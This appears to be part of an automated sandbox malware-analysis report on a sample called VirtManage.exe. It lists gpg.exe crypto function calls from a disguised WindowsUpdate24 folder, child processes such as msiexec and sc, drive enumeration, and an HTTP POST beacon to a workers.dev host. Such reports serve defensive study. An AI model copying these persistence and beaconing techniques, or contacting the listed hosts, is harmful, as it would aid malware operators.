Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044C9A0 gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_malloc,memcpy,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_free,gcry_mpi_release,gcry_mpi_get_opaque,gcry_free,gpgrt_log_debug,gcry_mpi_dump,gpgrt_log_printf,gpg_err_code_from_syserror,gcry_mpi_release,gcry_sexp_build,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_sexp_build,gcry_pk_testkey,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gpg_err_code_from_syserror,2_2_0044C9A0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044CA78 gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,2_2_0044CA78
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044EAB9 gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_printhex,2_2_0044EAB9
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00454B00 _gpgrt_log_assert,gcry_cipher_decrypt,gcry_md_write,memcpy,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_cipher_decrypt,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,2_2_00454B00
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044CD08 gcry_sexp_release,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_mpi_release,2_2_0044CD08
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00456E56 gcry_md_write,gcry_cipher_encrypt,gpgrt_log_info,2_2_00456E56
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044CE61 gcry_sexp_release,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gpg_err_code_from_syserror,gcry_mpi_release,2_2_0044CE61
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00454EAC gcry_cipher_decrypt,2_2_00454EAC
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00427350 gcry_xcalloc,gpgrt_log_error,gcry_xcalloc,gcry_xcalloc,gcry_free,_gpg_w32_gettext,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_error,gcry_cipher_open,gcry_cipher_close,gpg_strerror,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,gpg_strerror,gpgrt_log_info,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,gcry_cipher_ctl,gcry_cipher_decrypt,gcry_cipher_checktag,memcpy,gcry_cipher_close,gcry_cipher_decrypt,gcry_cipher_close,gpg_strerror,gpgrt_log_info,gcry_cipher_get_algo_keylen,gcry_cipher_close,gpgrt_log_debug,gcry_cipher_close,gcry_cipher_close,gcry_cipher_close,gpgrt_log_fatal,2_2_00427350
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00455326 memcpy,gpgrt_log_debug,gcry_cipher_ctl,gcry_cipher_decrypt,memcpy,memmove,gcry_cipher_checktag,2_2_00455326
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0046B3E0 gcry_free,gcry_sexp_release,gcry_free,gcry_free,_gpg_w32_gettext,gpg_strerror,gpgrt_log_error,gcry_malloc_secure,gcry_cipher_decrypt,gpgrt_log_info,gcry_sexp_canon_len,gcry_sexp_sscan,gcry_sexp_find_token,gcry_sexp_cadr,gcry_sexp_release,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_length,gcry_sexp_nth,gcry_sexp_nth_string,gcry_pk_map_name,gcry_calloc,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_extract_param,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_free,gcry_mpi_cmp,gcry_calloc,gcry_calloc,gcry_mpi_set_opaque,memset,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_sexp_find_token,gcry_mpi_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_nth_string,gcry_cipher_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtol,gcry_free,gcry_sexp_nth_string,gcry_md_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtoul,gcry_free,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_nth_data,gcry_mpi_set_opaque_copy,gcry_mpi_set_flag,memcmp,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_sexp_extract_param,gpg_err_code_from_syserror,gcry_sexp_extract_param,gcry_free,gcry_sexp_release,gcry_sexp_release,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_set_flag,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_mpi_release,gcry_mpi_scan,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_sexp_release,gcry_sexp_release,gcry_mpi_cmp,gcry_mpi_get_flag,gcry_calloc,gpg_err_code_from_syserror,gcry_mpi_copy,gpgrt_log_error,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_release,gcry_sexp_extract_param,2_2_0046B3E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0045766B gcry_cipher_get_algo_blklen,gcry_malloc,gcry_randomize,gcry_cipher_open,gcry_cipher_setkey,gpgrt_log_debug,gpgrt_log_debug,gcry_cipher_encrypt,gcry_cipher_gettag,2_2_0045766B
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00458059 gcry_free,gcry_cipher_close,gpgrt_log_debug,gpgrt_log_debug,gpgrt_log_debug,gcry_cipher_ctl,gcry_cipher_encrypt,gcry_cipher_gettag,gpg_strerror,gpgrt_log_error,4_2_00458059
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004561E6 gcry_cipher_get_algo_blklen,gcry_cipher_open,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_decrypt,gcry_cipher_ctl,4_2_004561E6
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00464220 gcry_cipher_open,gcry_sexp_release,gcry_free,gcry_free,gcry_free,gcry_cipher_close,gcry_free,gcry_cipher_setkey,gcry_free,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_sexp_build_array,gcry_free,gpgrt_snprintf,gcry_sexp_build,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gpg_strerror,gpgrt_log_error,gcry_sexp_build,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_malloc,gcry_cipher_encrypt,gcry_free,gcry_free,gcry_mpi_get_flag,gpg_strerror,_gpg_w32_gettext,gpgrt_log_error,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,gpgrt_log_info,gpg_strerror,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_info,gpg_err_code_from_syserror,gcry_free,gcry_free,_gpg_w32_gettext,gpgrt_log_info,gpg_strerror,gpgrt_log_error,gpgrt_log,abort,gpg_err_code_from_syserror,4_2_00464220
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00458420 gcry_malloc_secure,memcpy,gcry_cipher_open,gcry_cipher_close,gcry_free,gcry_free,gcry_malloc_secure,gcry_randomize,gcry_cipher_open,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,memcpy,gcry_cipher_ctl,gcry_cipher_encrypt,gcry_cipher_gettag,gcry_calloc,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_encrypt,gpg_err_code_from_syserror,gpg_err_code_from_syserror,4_2_00458420
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004564E7 gcry_cipher_decrypt,gcry_cipher_ctl,4_2_004564E7
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044E530 gcry_mpi_get_flag,gcry_malloc_secure,memcpy,gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpg_err_code_from_syserror,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,4_2_0044E530
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044E677 gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,4_2_0044E677
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00456631 gcry_md_write,gcry_free,gcry_md_get_algo_dlen,gcry_cipher_decrypt,gcry_md_write,gcry_md_ctl,4_2_00456631
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044E920 gcry_mpi_get_flag,gcry_mpi_get_opaque,gcry_malloc_secure,memcpy,gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpgrt_log_error,gcry_free,gcry_cipher_close,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,4_2_0044E920
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044C9A0 gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_malloc,memcpy,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_free,gcry_mpi_release,gcry_mpi_get_opaque,gcry_free,gpgrt_log_debug,gcry_mpi_dump,gpgrt_log_printf,gpg_err_code_from_syserror,gcry_mpi_release,gcry_sexp_build,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_sexp_build,gcry_pk_testkey,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gpg_err_code_from_syserror,4_2_0044C9A0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044CA78 gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,4_2_0044CA78
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044EAB9 gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_printhex,4_2_0044EAB9
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00454B00 _gpgrt_log_assert,gcry_cipher_decrypt,gcry_md_write,memcpy,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_cipher_decrypt,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,4_2_00454B00
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044CD08 gcry_sexp_release,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_mpi_release,4_2_0044CD08
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00456E56 gcry_md_write,gcry_cipher_encrypt,gpgrt_log_info,4_2_00456E56
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044CE61 gcry_sexp_release,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gpg_err_code_from_syserror,gcry_mpi_release,4_2_0044CE61
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00454EAC gcry_cipher_decrypt,4_2_00454EAC
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00427350 gcry_xcalloc,gpgrt_log_error,gcry_xcalloc,gcry_xcalloc,gcry_free,_gpg_w32_gettext,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_error,gcry_cipher_open,gcry_cipher_close,gpg_strerror,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,gpg_strerror,gpgrt_log_info,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,gcry_cipher_ctl,gcry_cipher_decrypt,gcry_cipher_checktag,memcpy,gcry_cipher_close,gcry_cipher_decrypt,gcry_cipher_close,gpg_strerror,gpgrt_log_info,gcry_cipher_get_algo_keylen,gcry_cipher_close,gpgrt_log_debug,gcry_cipher_close,gcry_cipher_close,gcry_cipher_close,gpgrt_log_fatal,4_2_00427350
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00455326 memcpy,gpgrt_log_debug,gcry_cipher_ctl,gcry_cipher_decrypt,memcpy,memmove,gcry_cipher_checktag,4_2_00455326
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0046B3E0 gcry_free,gcry_sexp_release,gcry_free,gcry_free,_gpg_w32_gettext,gpg_strerror,gpgrt_log_error,gcry_malloc_secure,gcry_cipher_decrypt,gpgrt_log_info,gcry_sexp_canon_len,gcry_sexp_sscan,gcry_sexp_find_token,gcry_sexp_cadr,gcry_sexp_release,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_length,gcry_sexp_nth,gcry_sexp_nth_string,gcry_pk_map_name,gcry_calloc,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_extract_param,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_free,gcry_mpi_cmp,gcry_calloc,gcry_calloc,gcry_mpi_set_opaque,memset,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_sexp_find_token,gcry_mpi_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_nth_string,gcry_cipher_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtol,gcry_free,gcry_sexp_nth_string,gcry_md_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtoul,gcry_free,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_nth_data,gcry_mpi_set_opaque_copy,gcry_mpi_set_flag,memcmp,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_sexp_extract_param,gpg_err_code_from_syserror,gcry_sexp_extract_param,gcry_free,gcry_sexp_release,gcry_sexp_release,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_set_flag,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_mpi_release,gcry_mpi_scan,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_sexp_release,gcry_sexp_release,gcry_mpi_cmp,gcry_mpi_get_flag,gcry_calloc,gpg_err_code_from_syserror,gcry_mpi_copy,gpgrt_log_error,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_release,gcry_sexp_extract_param,4_2_0046B3E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0045766B gcry_cipher_get_algo_blklen,gcry_malloc,gcry_randomize,gcry_cipher_open,gcry_cipher_setkey,gpgrt_log_debug,gpgrt_log_debug,gcry_cipher_encrypt,gcry_cipher_gettag,4_2_0045766B
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00457B24 gcry_cipher_ctl,gpgrt_log_printhex,gcry_cipher_encrypt,gpgrt_log_printhex,4_2_00457B24
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00457C97 gpgrt_log_debug,gcry_cipher_encrypt,gcry_cipher_gettag,4_2_00457C97
Source: C:\Users\user\Desktop\VirtManage.exeEXE: msiexec.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: sc.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: w32tm.exeJump to behavior

Compliance

barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Users\user\Desktop\VirtManage.exeEXE: msiexec.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: sc.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: w32tm.exeJump to behavior
Uses 32bit PE files
Source: VirtManage.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
PE / OLE file has a valid certificate
Source: VirtManage.exeStatic PE information: certificate valid
Uses secure TLS version for HTTPS connections
Source: unknownHTTPS traffic detected: 104.21.62.135:443 -> 192.168.2.11:49709 version: TLS 1.2
Contains modern PE file flags such as dynamic base (ASLR) or NX
Source: VirtManage.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Binary contains paths to debug symbols
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: utomation.pdb3 source: powershell.exe, 00000026.00000002.1576944181.0000019274769000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb= source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000026.00000002.1575952536.0000019274660000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: n.pdb source: powershell.exe, 00000026.00000002.1577037287.000001927479C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: OLEView.pdb source: VirtManage.exe, 00000000.00000003.1317989375.0000000000675000.00000004.00000020.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1421076133.0000000000676000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250803860.00000254763CA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250876303.00000254764CA000.00000004.00001000.00020000.00000000.sdmp, oleview.exe, 00000022.00000000.1420365525.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000022.00000002.2945093401.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000025.00000000.1442229837.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp, oleview.exe, 00000025.00000002.1607935405.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.pdbhP source: powershell.exe, 00000023.00000002.2949887031.00000209C730E000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000026.00000002.1577634276.00000192747B9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbJ source: powershell.exe, 00000026.00000002.1575398123.0000019274410000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.pdb source: powershell.exe, 00000023.00000002.2949887031.00000209C730E000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: OLEView.pdbGCTL source: VirtManage.exe, 00000000.00000003.1317989375.0000000000675000.00000004.00000020.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1421076133.0000000000676000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250803860.00000254763CA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000015.00000003.1250876303.00000254764CA000.00000004.00001000.00020000.00000000.sdmp, oleview.exe, 00000022.00000000.1420365525.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000022.00000002.2945093401.00007FF613E9D000.00000002.00000001.01000000.00000013.sdmp, oleview.exe, 00000025.00000000.1442229837.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp, oleview.exe, 00000025.00000002.1607935405.00007FF694CAD000.00000002.00000001.01000000.00000017.sdmp
Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: c:
Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,2_2_004CC650
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,4_2_004CC650
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4x nop then push esi2_2_0049C5F0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4x nop then push esi4_2_0049C5F0
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004016A0 npth_unprotect,__assuan_recvmsg,npth_protect,2_2_004016A0
Source: global trafficDNS traffic detected: DNS query: ec2-52-14-160-176.us-east-2.compute.amazonaws.com
Source: global trafficDNS traffic detected: DNS query: cdn-app-web2.lenete5970.workers.dev
Source: unknownHTTP traffic detected: POST //FNQ0cXh1/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.19045.0Content-Type: application/jsonHost: cdn-app-web2.lenete5970.workers.devContent-Length: 115Expect: 100-continueConnection: Keep-Alive
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.HijriCalendar.debug.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.HijriCalendar.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1621926068.000001C1E8214000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.UmAlQuraCalendar.debug.jsT
